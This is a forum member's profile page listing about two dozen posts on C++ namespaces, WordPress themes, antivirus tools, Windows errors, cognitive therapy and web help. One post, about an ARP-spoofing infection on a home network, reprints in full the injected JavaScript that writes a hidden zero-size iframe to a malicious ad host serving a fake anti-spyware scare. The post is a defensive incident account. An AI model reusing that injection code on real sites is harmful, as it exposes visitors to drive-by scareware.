Jump to content
xisto Community

Entheone

Members
  • Content Count

    51
  • Joined

  • Last visited

Everything posted by Entheone

  1. Well, namespaces in C++ are mainly used for organization. When you produce your own libraries, namespaces come in handy for the end-user, since they make sure he/she will not run into compile-time errors due to conflicting declarations. But since you're planning to produce an executable, using namespaces is generally a matter of personal preference -- emphasis on "generally." Sometimes, however, different compilers will deal with this differently. I openly admit that I used to have some hard times with namespaces, particularly with Microsoft Visual C++ (it's very permissive when it comes to good coding practices.) Anyway, if you have the time and are interested in a comprehensive understanding of the theory and practical use of namespaces in C++, I highly recommend taking a look at Bruce Eckel's masterpiece, Thinking in C++. It's a free e-book that is available for download in different formats. Volume I walks you through a rather encyclopedic view of the language, while still giving you enough examples to move the discussion from the purely-theoretical to the usefully-applicable. You can download Volume I using the link below... http://forums.xisto.com/no_longer_exists/ Volume II: Practical Programming takes you down the road of actual programming projects, pointing you towards good, practical methods for completing projects optimally and introducing a wide range of helpful tips and techniques. It's generally more advanced than Volume I and it largely depends on it -- more precisely, it assumes a somewhat high familiarity with the C++ language. You can download Volume II using the link below... http://forums.xisto.com/no_longer_exists/ Sorry if my comment isn't specific enough to answer your question, but I trust someone else will have a much better response Good luck.
  2. First of all, sorry for reviving a thread that's close to two years old, but I thought it better to comment on an existing thread than to create a new one with a very similar topic. I used to use one of those scripts to track my AdSense Clicks, but I always had my doubts about both its effectiveness and stability. After all, no one (other than some Google employees) really knows how Google AdSense's implementation code and inner mechanism works. However, there is some great news for Google AdSense publishers who happen to be as anal-retentive as I am (ahem!). Google Analytics has been recently rolling out a new update to its system that allows it to track your Google AdSense clicks, providing you with the same detailed analysis and reporting capabilities of the Google Analytics package. This update is still in the BETA phase, but it's being rolled out gradually to all Google Analytics users. The excellent news about this is that, not only do you get the plethora of data and information that Google Analytics provides, but the quality of AdSense Clicks data that you get is virtually assured -- after all, it's provided by the same people who made it in the first place! Plus, if you already have Google Analytics tracking code installed on your website, you're already set. All you'll need to do is authorize the integration between the two systems (which, not surprisingly, takes nothing more than a couple of clicks.) One of Google's official announcements of this feature can be found on the Inside AdSense blog, in a post titled Making a date with data in Google Analytics. Here is the link... http://forums.xisto.com/no_longer_exists/
  3. I must admit that I'm quite amused to have lived long enough to see the day when hard-drives overheat CPUs. God help us all! OK, I don't know for sure what's going on with your hardware, but I'd still like to try and offer some help with this. First of all, have you tried removing the older, 360 GB hard-disk and plugging the new 1TB one by itself and see what your BIOS reports? Give that a shot, it should give us a decent idea of the relative heating both hard-drives cause. As for the rationale behind this overheating, well, this is the first time I've come across a problem like this so I can't be sure. But my assumption is that the new HDD is draining a lot of electrical power, which is putting a load on the power supply, which makes it unable to give the CPU fan(s) enough power to run at their usual speed. I know this sounds too far-fetched, but it's the only thing I can think of right now.
  4. Well, HyBriD, you gotta give us a tad more information than that if we are to come up with any half-decent ideas For example, what grade are you in? How long/detailed is the research supposed to be? Since you'll probably be putting a lot of time and energy into this, what are some of your fields of interest, hobbies, talents, or passions? Will it be a completely theoretical research, or will you put in some hands-on work and good ol' elbow-grease? You know, stuff like that. For starters, if you know what some of your fellow classmates are working on, this might tell us a good deal about what viable options you have, and so put us in a better place to make meaningful suggestions
  5. I'm glad you do, Quatrux Well, I guess a simple workaround would be to go into the Theme Editor section of the WordPress Administrator panel and edit the l_sidebar.php and r_sidebar.php files, adding some sections and possibly commenting out the sections you won't be using for now -- for example, using HTML's <!-- and --> tags. My sentiments exactly. Even though I changed the font from 12px Arial into 13px Verdana, which I've always felt was great for both aesthetics and readability. But of course, this is a personal preference. I plan to do some split-testing some time in the future to determine which fonts visitors respond to better.
  6. Hello everyone, For well over a week now, I had been searching for a free WordPress theme that had the following features... Professional looking SEO'ed (Search Engine Optimized) Employs valid XHTML (although I didn't really fuss about that) Easily customizable, with its CSS declarations clear and organized. I tried over 20 themes, most of which were decent enough, but they all left me a little squeamish and I couldn't find out exactly why. But then again, I'm anally-retentive and something of a perfectionist, so that wasn't completely unexpected (ahem ) Last night, however, I stumbled across an incredible theme that totally hit the spot for me. It have everything I was looking for, and then some. And that's why I want to share it with you, in case you're still in the searching-for-a-theme phase, or simply not quite satisfied with the WordPress you currently have. The theme I'm talking about is called WP Premium. You can view a demo of it at... http://rbhavesh.com/ ... and, if it meets your fancy, you can download it through the following link (a .zip file whose size is 177 KBs)... http://rbhavesh.com/ This theme is extremely functional and very visually appealing. It's bundled with all the features you'd normally expect from a quality WordPress theme, such as being widget-ready and compatible with the latest WordPress version -- I'm already using it on WordPress Version 2.6.3, and it's working like a charm. A very nice feature is that this theme comes in 3 different color schemes (red, brown, and black), and you can easily switch between the different schemes by making a very small modification to the general CSS file. I'm currently using the red color scheme as it has better contrast than the other 2 schemes, but I'm going to play around with the others to see if I can come up with something better. But I'm going to postpone this for now, since I can finally focus on my site's content, instead of obsessing with its overall look-and-feel. If you'd like to know more about this theme's features, you can take a look at its original release page at... http://rbhavesh.com/ I hope you enjoy this one P.S.: I'm not the designer of this theme and I'm not affiliated with it in anyway, other than using it. I just liked it so much that I wanted to let others know about it.
  7. OK, here's an update about AVG... A couple of days ago, a friend of mine used an infected Flash drive and got struck by a weird virus/malware. He already had AVG installed and armed with its latest database updates, and with its Resident Shield feature enabled. The virus still managed to slip through the cracks and infected the entire system. My friend then tried Trend Micro's Online Scan, which flagged out some warnings, but ultimately couldn't do much in terms of cleaning. So he tried Kaspersky - also the online scan version - which caught a lot more infected files, but didn't give an option for cleaning (leaving that for their paid service/software). So he got a full version of Kaspersky, ran a complete scan, and he told me that now his system is as good as new. So I guess that, at least in this particular incident, Kaspersky proved to be more effective than AVG. Just thought I'd let you guys know P.S.: I'm sorry I forgot the name of the infection -- I'd have loved to include it as well for your information. But it was virus, warm, keylogger and trojan horse all together, as far as my friend's description of it went.
  8. I've been a veteran computer user for over 17 years now, and I've tried more than my fair share of software applications and tools. While I'm not usually very adventurous when it comes to testing every application I get my hands on, I like to usually try three or four before I settle on the one or two that meet my needs. So here are some of the applications I habitually use, some of which I can't even imagine setting up my system without. Keep in mind that I'm running Windows XP Professional Edition on a Pentium IV processor with very little memory, so all the programs I recommend are either very lightweight or important enough for me to suck up their heavy use of system resources. So here we go... - Antivirus: I use AVG Free Edition and it works beautifully for me, so long as I install it on an already-clean system. In other words, it's great at preventing infections to boot, but not always so hot when it comes to cleaning them. I used Avast before, and I think it's at par with AVG, but lately it's been consuming too much of my RAM. - Spyware: I'm generally browsing-aware and I can easily spot and avoid malicious Website. But since spyware cannot be completely avoidable these, one must occasionally use some kind of anti-spyware mechanism. Again, AVG catches the most common types, and even some of the less famous ones. When push comes to shove, I use Ad-Aware. - Web browser: I suppose it comes as no surprise that Firefox is my trusty browser of choice. Internet Explorer consistently gives me headaches with its incredible susceptibility to spyware and even amateurish hacking attempts through IFRAMEs and such. I'm keeping a keen eye on Google Chrome as well, since it seems quite promising to me, as soon as Google starts working on more complete integration of its other services into it. - Instant messengers: I only use Google Talk because it's very lightweight and right-to-the-point, and Live Messenger since it's what most of my friends use online (plus it now supports adding Yahoo! Messenger contacts). - P2P: I'm lately using torrents exclusively as my sharing medium, and I use utorrent as my Bittorrent client. It's lightweight, efficient, and has basically everything I want from a torrent client. - Optimizations: Back in the days of Windows 98, Norton Utilities 2002 was a brilliant, all-in-one system optimizer that did wonders to my system. Now, it fell from grace. And after a long search, I find that Tune-Up Utilities is the only replacement that fills the shoes of the giant that once was. - Office Software: I tried OpenOffice and Microsoft Office 2003, but I couldn't quite swallow them, and now I'm sticking to either Microsoft Office XP or Google Docs. - Media Players: I use VLC as my trusty multipurpose media player, and I keep Windows Media Player 10 handy for the occasional MP3 or WMV. - Graphics: Since I have above-average graphic-editing needs, I use Adobe Photoshop 7. Old? Yes, but it has everything I need, and it uses MUCH less system resources than its successors. That's my starter-kit contribution, and I might come back for more when I remember or come across something better.
  9. Generally speaking, and since the days of Windows 2000, a STOP 0x00000024 error indicates an NTFS file system problem. It may be as simple as the ntfs.sys going berserk, or as bad as the entire hard drive getting corrupt for some reason. Since your brother was working regularly (and so it seems that the hardware didn't receive any smacks on the head), it should only be a software issue. But you've already tried the chkdsk /f /r command, so it looks like this is a dead-end. Perhaps you should have your brother try his luck with the low-hanging fruit. Have him check that the hard drive's power and data cables are plugged in correctly, and then run another disk check. You might also want to take a look at Microsoft's official paper regarding this error message... https://support.microsoft.com/en-us This is pertinent to Windows 2000, but nothing seems to indicate that it won't work for Windows XP as well. So give that a shot and let us know how it goes. Good luck.
  10. Hi Darasen, You know, you might have inadvertently insulted many people here with the subject line of this thread (the *I'm sick* part) - After all, this is essentially a community of techies and quasi-geeks, and most of us do program for a hobby OK OK, of course I'm just kidding. So let me just jump right to your question... Unfortunately, not anymore. My work is taking so much of my time these days, and since I do all of it on a computer, I find myself driven to spend my free time away from computers and delve into other kinds of human, face-to-face interactions. But years ago, when I had more time on my hands and less things to take care of, I indeed used to spend days in a row just sitting in front of my computer screen, with more cups of coffee than you can count, and a full-and-spilling ashtray, just trying to figure out how to code a weird idea that hit me some days before. And I admit, despite the tension and sleeplessness, those were some of the most exhilarating days of my life. Does this sound like a geeky thing to say? Of course it is, that's what I've been trying to say at the beginning of my reply Well, if you ask me, this actually means that you still have a very nice kind of balance going on for you. You're expressing your creativity in different ways, and you enjoy a variety of activities. Life nowadays might be roughly divided into Nature and Technology, and if you can strike a balance between appreciating and making good use of both, I guess you're having your cake and eating it, too. So kudos
  11. I use Google Apps for almost all of my domain names, but you can use any regular Gmail for similar purposes as well. Gmail gives you the option of fetching email from your other email accounts as well (up to 5 accounts), so long as they support POP3 access. Simply go to your Gmail account and click on Settings from the top-right navigation bar. Click on the Accounts tab, find the Get mail from other accounts options, click on Add another mail account and it will walk you through the process. At the end of the process, it will also give you the options of sending email from your Gmail account AS the account you just added, i.e. your recipient will see your email coming from your other account, not the Gmail one. Of course, this method doesn't give you access to the other features of Google Apps, such as Google Talk, Calendar, and such. But then again, unless you run an organization, you probably have those already and don't really need the collaborative benefits of Google Apps.
  12. I once had this problem, but it happened for different reasons. Here's how I got around it... On your desktop, right-click and choose Properties. Go to the Settings tab. Change your Screen resolution to the lowest resolution it can get (it's 800 by 600 pixels for me, but it might be 640 by 480 pixels for you). And then change your Color quality to the lowest quality it can get as well (16 bit on my computer, but it could be 256 colors on yours). Then click OK to apply these changes and restart your computer. After restarting, set the screen resolution and the color quality to their original values. Things should get back to normal. To be honest, I remember reading that there was an easier way to do this, but I can't remember what it is or where I found it. But at least this method worked for me, and will hopefully work for you, too Good luck.
  13. What makes you "think" it's not properly functioning? Has the color depth changed? Perhaps the resolution? If neither of those changed, chances are your accidental click didn't actually go through. But if you want to be sure, restart your computer into Safe Mode (by pressing F8 as the computer is booting up and choosing "safe mode" from the option menu), go to the Adapter properties once again, and check them. If it's enabled, you're good to go. If not, enable it and restart your computer.
  14. Hi nunocordeiro. The rule you mentioned is indeed somewhat ambiguous, but there had been another discussion about it in the past, and an admin gave this answer... Here's the link to the full discussion... http://forums.xisto.com/topic/93341-topic/?findpost=1064371626
  15. Entheone

    C At Uni

    Well, there are really no global standards when it comes to first-year programming languages, but here in Egypt C and PASCAL are the two programming language course that first-year engineering students take. I'm not sure why they teach PASCAL here, but from what I gather it's because of its less wordy syntax and of its popularity in the past. C, on the other hand, is very effective for two main reasons. Firstly, if taught right, it can give a student a rather comprehensive understanding of the programming methodology in general (except for Object-Oriented Programming, of course). The second reason is that it's as close to a low-level language as you can get without actually being low-level. It has enough options for you to fine-tune your control over every aspect of your software, with the added option of directly embedding Assembly Code right into it for even finer tuning. But its power and versatility is actually the very thing that makes C a rather hard language to begin with. I never really fully appreciated how powerful this language was until I read Bruce Eckel's Thinking in C, which I believe is an amazing book that virtually restructures your mind to be, if you will, One with the C! ;-) If there's any tip I could give you in your first weeks, it's this: don't give up too quickly. Introduction to new concepts in C can get pretty intense at times. If there's something you don't fully understand, don't shrug it off. Stay with it till you feel comfortable enough with it. After you learn the language itself, and if you're still interested in developing your skills in it, then I think you should definitely give Bruce Eckel's book a shot. It'll transform you from a Master to an all-out Wizard.
  16. In his book, Feeling Good: The New Mood Therapy, Dr. David Burns discusses the 10 ways of thinking that are responsible for most of our everyday emotional problems, particularly depression, guilt, and self-loathing. He called them The 10 Mental Distortions. Dr. Burns derived this list of mental distortions from the relatively new, but very promising, field of Cognitive Therapy. Cognitive therapy is a school of psychotherapy that is based on the premise that our feelings are primarily dependent on, and directly related to, our thoughts. And so, by modifying the way we think about certain things, we can feel better about them. I find this notion well-justified, and it's definitely been doing me a great deal of good. But I'd like to amend the previous definition by saying that, cognitive therapy is the systematic attempt to convince people that their problems are not as bad as they seem to be. Don't get me wrong, this is not criticism. In fact, it's praise. I believe that, so long as we're feeling depressed or emotionally confused, we can't really "think straight." At least that's how it is for me and a good deal of the people I know. So a temporary cheering-up may be just what we need to get a grip on our mental "good sense" enough to see a situation for what it is, analyze it objectively (relatively at least), and come up with good solutions. And so here's the list of 10 mental distortions Dr. Burns discussed, along with my own brief commentary on them... 1) All-or-Nothing Thinking In other words, perfectionism. You either do something extremely brilliantly, or you consider it a total failure. There are no compromises, no settling, and "good enough" is not in your vocabulary. Of course, that's a first-class ticket to the Land of Everlasting Disappointment. And the remedy is very simple. Just remember that, because of the very definition of perfection, no human being can make something that is absolutely perfect. So unless you believe yourself to be an alien or a descendant of Zeus, have fun with creating things that are good enough. 2) Over-generalization This is a diluted form of the all-or-nothing thinking. You apply for a job and the employer tells you that you're not qualified, and so you become convinced that every other employer will tell you the exact same thing. A girl/guy declines your asking them out on a date, and you conclude that no girl/guy will ever accept your invitation. The trick here is to resist the tendency to hypothesize patterns from individual events. Perhaps that employer had a fight with his wife that morning and just wanted to take it out on the job applicants. Perhaps that girl already had a boyfriend. Sure, there will be many times when something will be your fault, but don't think that's the rule. Even professional prostitutes don't "blow" all day long, you know (ahem!) 3) Negative Mental Filtering We all fall into this trap every now and then. Someone does something horrible to us, and we start thinking that all people are mean-spirited bastards. We discover that we had the wrong answer to one of ten questions in an exam, and we start obsessing about how we're now doomed to flunking it. The fully we commit here is that we forget that it's never really all bad. We meet a lot of amazing folks, so it's impossible that everyone is a bastard. You missed one question, but you still got the other 9 right. So stop focusing on the negatives and try to remember the good stuff as well. 4) Disqualifying the Positive That's basically the reverse of mental filtering. A friend comments on how good your new hairstyle looks, and you just shrug it off assuming they don't really mean it and that they're just being nice. A car has a great body and incredibly comfy seats, but because it only has a 1300 c.c. engine you conclude that it's a piece of trash. When you catch yourself thinking this way, ask yourself this question: "Just because a rose has thorn, must that prevent from you noticing how good it smells?" 5) Jumping to Conclusions You might think that only people with lower-than-average IQ do this, but it's actually much more common among smart folks, because of how fast their brains usually work and how confident they tend to be of their conclusions. There are two types of jumping to conclusions... Mind Reading: which is assuming that you completely understand how another person thinks. But even if this were true (and it usually isn't), you can't know everything that's happening to them on their day-to-day lives. These things will definitely affect their moods and behaviors in ways you can never fully predict. So give people the benefit of the doubt and don't be embarrassed to ask them about the things that are bothering you. Fortune Telling: this is mind-reading extrapolated to the future. You know what a situation is like right now, so you believe that you absolutely know how it's going to turn out a month or a year from now. If you're that type, perhaps it's time for you to study some chaos dynamics. 6) Magnifying the Negatives and Minimizing the Positives Again, these are the diluted forms of distortions 3 and 4. Here you don't solely focus on the negatives or completely ignore the positives, but you trick yourself into skewing the balance by blowing up the bad stuff and marginalizing the good stuff. So just get things into perspective. 7) Emotional Reasoning You try hard to write that important presentation for a whole week, but it just won't get done. You become so frustrated that you tell yourself that you're an uncreative sloth. Which only makes you procrastinate more and completely cuts off the flow of ideas. Why? That's Cognitive Therapy 101. Thoughts create emotions, which feedback into the thought process itself, imprisoning you inside a vicious cycle. So instead of thinking you're lazy and unimaginative, think back to the last time you felt particularly inventive and were on a productive roll. It might be just what you need to unleash your energy and get your creative juices going. 8) Should Statements This is the ultimate culprit almost every time you get disappointed in someone or something. You tell yourself that Mary should treat you more nicely, or that life is so hard on you and you deserve better. Trrrrrrrn! That was your wake up call! Nobody said that life was fair, and people don't really owe you anything. If you want to do something nice for someone, that's great, but don't expect them to return the favor. Maybe they'd like to, but they can't for some reason. Maybe that's just how they are. Maybe they have a different set of values and beliefs. So roll with the punches. 9) Labeling Lobna invites you to her house for dinner. But with her kids screaming and kicking all day long, she misses an important ingredient of her special recipe, and the food turn into a positively horrid mush. You take one bite, spit it out, and label Lobna the Worst Cook Ever. Now here's the thing. If you do believe that she really is the worst cook ever, you won't accept her invitation ever again, and you just might miss out on the time she gets her recipe right and makes the most delicious dinner of the 21st century! That's loss no.1. Plus, you know that you've tasted worse food before, so Lobna can't really be the worst cook, and you'll be contradicting yourself. It might not be a big deal when it comes to culinary products, but it will definitely become important in bigger issues, such as marriages, friendships, politics, etc. Labeling is an extreme form of over-generalization that completely strips your thinking of any objectivity. So kids, don't do labeling! 10) Personalization That is the classic Atlas Syndrome, when you hold yourself responsible (and blamable) for everything that does wrong with the world. My sister had a car accident? I knew I should have driven her to the airport. My good neighbor has been in the hospital for 5 days and nobody told me? Damn it, I'm such a bad neighbor not to have checked up on him more often. Britney Spears has a new album out? I should have worked on my sniper-skills earlier. A gigantic asteroid is going to hit the planet, eradicate all life and bring about Armageddon? It's my fault, I've always known that my true calling was to be an astronaut! Get off it, buddy. Superman only works his magic in comic strips. Guilt doesn't do anyone any good. Instead, when you're sure that whatever went wrong is actually your fault, make up for it being straightening it out. That's productive repentance. ---------- So these are the 10 mental distortions. Again, I don't really believe that they're always pure evil. In fact, sometimes these thoughts are justified, perhaps even necessary. But overall, it's generally better for you to convince yourself that they're bad, for two reasons... They make you feel bad, which is not so good, and... They confuse your thinking process and build a great wall between you and objective, constructive thinking. So while cognitive therapy may not be the panacea for all your emotional problems, it's probably a very good pragmatic approach. So give it a shot and see how it works for you.
  17. I think wutske answered your question already, but here's a bit about Windows Black, in case you're interested in knowing... If I remember correctly, Windows Black Edition is one of cracked, slipstreamed Windows editions that some people or Warez group make and populate around the Internet, usually through Warez and P2P sites. What slipstreamed means is that it already contains a number of software applications that most people find useful, and those applications are usually cracked as well. Keep in mind though that these editions are all essentially illegal. And more often than not, they contain viruses and/or trojan horses built into them. The Windows Black Edition in particular has a bad reputation of being unstable, sometimes showing the notorious Blue Screen of Death right after installation. The reason Windows Black has received so much publicity over other slipstreamed versions is, I assume, because of its stylish, Vista-ish look and myriad of customization options.
  18. I like that. Seems like too advanced a technique for me to use so easily, specially since I still struggle with getting things out of my head in a coherent, understandable form. But I'll definitely keep this in mind! Yup, that is mostly what I mean. I also felt that "institutional" should refer to something that's dead, and I wasn't comfortable with saying that about culture, which I as well don't see it as entirely dead. Again, you summarized in one sentence the entire point I was going to dedicate a separate post to! I believe that human beings are greatly creatures of habit. Once they try something and it works, even if the results were only so-so, they tend to tenaciously hang on to it, forming a strong habit. Or perhaps it's better to call it what C. H. Waddington used to call a creode, something like a vector of developmental activity. But while we're trying to hang on to that creode, life around changes very rapidly. Environmental changes, changes in other countries, new scientific discoveries, new religions, etc. etc. Now the results which were once so-so are now becoming quickly and increasingly abysmal. As the inadequacy of the results gets noticed by more and more people, they - as you put it - shed the cultural skin and replace it with a new one. At least, that's how I see it for now Then out notion of God is not really that different, even though we end up calling it different things. And it seems to me that a lot of people have the notion at their core and that the rituals and the terminology are just the layers. At least, that's the impression that I get by talking to people lately, particularly those of my age group here in Egypt (where I live). It's been a pleasure talking to you, mitchellmckain! If getting my butt whipped the first post of every thread I open is the price of luring you in, then by God that's not so bad :-D
  19. Ouch. My bad . The Caption completely slipped my mind, since it's been quite a while since I last used tables. But I'm glad you found what you wanted. Good luck with the rest of your site
  20. Yes, I do see things mostly this way as well. It's just that lately I've been seeing more and more things which somewhat convinced me that perhaps this global change still needed a push, and that push had to happen soon. In others words, maybe we don't really need to push the 2-ton truck -- we just need to push the pedal. Which sounds pretty good to me because, and I'm ashamed to say this, I have a 6-year old's muscle structure
  21. Hi mitchellmckain, Ok, first of all, let me say that I'm really glad to have you commenting on this. I've been a faithful reader of as much of your writing here as I could (I was a member here long time ago as well). If it wouldn't have looked too ridiculous and wasted too much of everyone's time, I'd have replied to almost every one of your topics here with a simple: thank you for writing! Alright, that aside for now, let's get down to it... I must admit it that this is fairly surprising to me, the (I don't see anywhere near so many unsatisfied people) bit. But I suppose it has to do with the definition of satisfaction itself, and how it differs from one person to the next. Although it's my experience (or perhaps my conviction, who knows) that, regardless of my own definition, most people I know are not satisfied according to their own definitions. And actually, I think those cliches are the exclusive domain of people above a certain point of financial stability (which differs according to the individual). It may well not be a function of satisfaction, intelligence, or a willingness to help others -- it's simply something that you have the luxury of saying at that position, and it doesn't require much conviction. But let me ask you this: how can someone find something worth doing? Where do they find it? What does it mean for something to be worth doing? If I had to re-write this whole thing from scratch, I wouldn't have to... I would just ask your permission to quote these two paragraphs! I don't know where I made the mistake of making any of this seem to be about envy, communism, distribution of wealth, or any other materialistic issue. I tried to make it clear on more than one occasion that this was the least of my worries, and that it might behoove others as well not to make it the most of theirs. What I really wanted to say was exactly what you're saying in these two paragraphs. If I had failed to make it clear, well, I'm glad you stumbled upon this page There's a misunderstanding here. There's an OR before you're very delusional. And the entire sentence is preceded by another one that completes its meaning. Please re-read it again and tell me if it still doesn't make sense. I use that analogy all the time . Actually, like you it seems, I believe this to be an actuality. But I'm not talking about societies here -- I'm talking about cultures. Perhaps it was my fault not to start with some definitions, but I'll try to make up for that some time very soon. And just as an interim distinction, perhaps it might be useful to think of a "society" as the hardware and of a "culture" as its operating system, as it were. I actually answered that last question already, when I said that: But my feud with culture is not because of its arbitrary, artificial rules. If these rules served the people they claim to serve, or even a statistically significant percentage of the population, perhaps I wouldn't be so harsh on them. I may agree with you on that, but I really have no idea where you found reference or allusion to envy or anything related to it. I'd love it if you could clarify that a bit. Again, I have no idea what's going on here. I didn't condone envy or complaining -- I made this rave against them to begin with. I'm not blaming dissatisfaction of an individual on anybody other than the individual him/herself, who wasn't willing to make a stand for what makes him/her satisfied in the first place. I must be missing something very important here because I certainly don't understand where you're coming from. I'd love to, though. Abundant use of LOLs aside, yes, I believe that this is what I'm trying to do. In other words, it's what I'm hoping to see done, whether by myself or someone else it doesn't really matter. I have no problem with your use of the term -- I think it's quite fitting . But what I don't understand is why it's mundane and accommodating. Again, I agree with you -- even though I still don't see where envy and complaining crept in that riotously
  22. Yup, now we're talking First of all, I must admit that I don't know why you're using the position: absolute CSS property. I'm sure you could accomplish the same Look & Feel with relative positions. I know it sometimes takes a little longer to figure relative positioning out, but trust me, if you decide to change something about your layout, you're going to find that absolute positioning will make the modifications take ten times more time. But of course, you know your site much better than I do, and it's your decision at the end OK, back to business... This is the version that I get of the CSS file. There must be something with your browser not clearing the cache properly or something. I guess that's good news, in a way. After all, you now know that it's your browser that's misbehaving, not the server. Well, I can propose one way to do that. It's an ugly hack (from a coding point of view), but perhaps you might want to try it out and see if it suits you. Here's what you should do... Back up your PHP file -- no need to back the CSS files, we won't be tampering with them. Delete this code snippet: <p class='submit'><input type='submit' value='Train troops'></p> Find this line: <TD ><input name='Monster' size='17'></TD></TR> Between the previous line and the </TABLE> tag, paste this code snippet: <TR><TD colspan="4" style="border:0;">Â </TD></TR><TR><TD colspan="4" style="border:0;"><input type='submit' value='Train troops'></TD></TR><TR><TD colspan="4" style="border:0;">Â </TD></TR> By having the "Train Troops" submit button in a row of the same table, you can easily add as many rows before it as you want, without worrying about changing its position. It'll change automatically, the same way any other table row would. And the extra empty two rows above it and below it are just for visual aesthetics. You can delete them if you don't want them. Try it and tell me if that works for you
  23. Perhaps if you could point us to the page you're referring to, or at least post the code of both the table and the button (HTML and CSS), I might be able to help Typically, once you replace a file on the server with another file, the change is immediate. I haven't heard of many servers that keep cached files, and particularly not ones that would serve the cached file instead of the newer one. I don't mean to sound silly, but are you sure you replaced (i.e. overwrote) the CSS file? You wouldn't believe how many times I forget something that simple, and how many long hours I spend running around in circles until I realize it! As for your last question, I'm not sure I understand. You want CSS code that would do something to the button without making CSS code? Perhaps if you post the original code, I may be able to better understand your question
  24. Some of the following links point to websites that can harm your computer system. Please read the entire post first before clicking any links. Hello everyone, I recently had a run-in with a very annoying piece of malware on my home LAN network, and I wanted to share this experience with you so that you may avoid some of the mistakes I made. I'm on a home network which consists of 15 PCs, all running either Windows XP or Windows Vista. Most of the users are security-unaware and only a few have anti-virus or anti-spyware programs installed on their machines. I have AVG Full Edition with the auto-update feature turned on, and this is how I found out about this security risk. It started when, whenever I used the Microsoft Internet Explorer browser, AVG would warn me of a trojan called JS/Downloader Agent. It would stop the trojan from running and move it to the quarantine vault. But the minute I surf to another Website, it'd repeat this whole cycle again. I noticed that every time a web page was loading up, the status bar of the browser would say "downloading from ads.userads.info". At first I ignored it, assuming that it was just another advertising network that some websites used, but when it consistently showed up with every single page I visited, I went ahead and looked at the source code of a number of these pages (using the View Source menu option). It turned out that every one of those page had this line of code at the very beginning of the HTML source... <script language="javascript" SRC="http://en.swfads.info/ads.js"></script> I used Mozilla Firefox to access this JavaScript, and here's what it contained... document.writeln("<script>");document.writeln("function oK_Begin(){");document.writeln("var Then = new Date() ");document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");document.writeln("var cookieString = new String(document.cookie)");document.writeln("var cookieHeader = \"Cookie1=\" ");document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");document.writeln("if (beginPosition != -1){ ");document.writeln("} else ");document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");document.writeln("document.write(\'<iframe width=0 height=0 src=\"http://ad.userads.info/in.htm]\"><\/iframe>\');");document.writeln("}");document.writeln("}");document.writeln("oK_Begin();");document.writeln("<\/script>");document.writeln("<script>window.onerror=function( ){return true;}<\/script>") Notice that document.writeln("document.write(\'<iframe width=0 height=0 src=\"http://forums.xisto.com/no_longer_exists/;');"); line? in.htm is the name of the file which AVG kept telling me was infected. This JavaScript code opens an iframe that looks like a Microsoft Windows warning pop-up, informing you that you computer may be infected and directing you to download a fake anti-spyware program. After some research, I came across a Wikipedia article that talks about this... Anyway, since this javascript loads up an iframe, Firefox was essentially impervious to it -- even though it still showed the same line of code on every page. I assumed that I had somehow caught that virus/trojan myself, and since I needed to change my hard drive anyway, I thought I should just reformat my hard-disk and reinstall Windows. I kept the AVG CD nearby so that I would set it up immediately after installing Windows. I installed Windows, set up AVG, let it download its updates, then fired up Internet Explorer to download Firefox again. Here's the fun part: AVG went through the same warning/quarantine cycle. So it became obvious to me that this was a LAN virus, and that someone else's computer (or more than one) was the one infected. I did some more research, and found this... True enough, I ran the arp -a command from the command prompt, and it showed me that there were 2 different IPs that had the same MAC address. Unfortunately, there was no easy way for me to find out which computer had that virus, so I had to take my laptop, go to each member of our LAN network, set up AVG and scan their computer. After a very long day, we discovered the culprit and fixed the problem, and then set up AVG (or other anti-virus software) on all the computers. I hope you don't have to go through the same trouble. But if you do, then I hope that at least this information makes it easier for you to solve it
  25. A 403 Error means that the owner of the Website has prevented anyone from accessing this particular page or folder. Many website owners do this for security reasons, when the pages/folders contain private data. Also, there are some folders that a web-server will automatically prevent you from seeing, usually for the same reason. Don't worry about it, you are not being specifically denied access . When you come across such an error, make sure that you find out how you can instruct the software you're using to simply bypass that page/folder. You'll probably find an Exclude option somewhere in the menus.
×
×
  • Create New...

Important Information

Terms of Use | Privacy Policy | Guidelines | We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.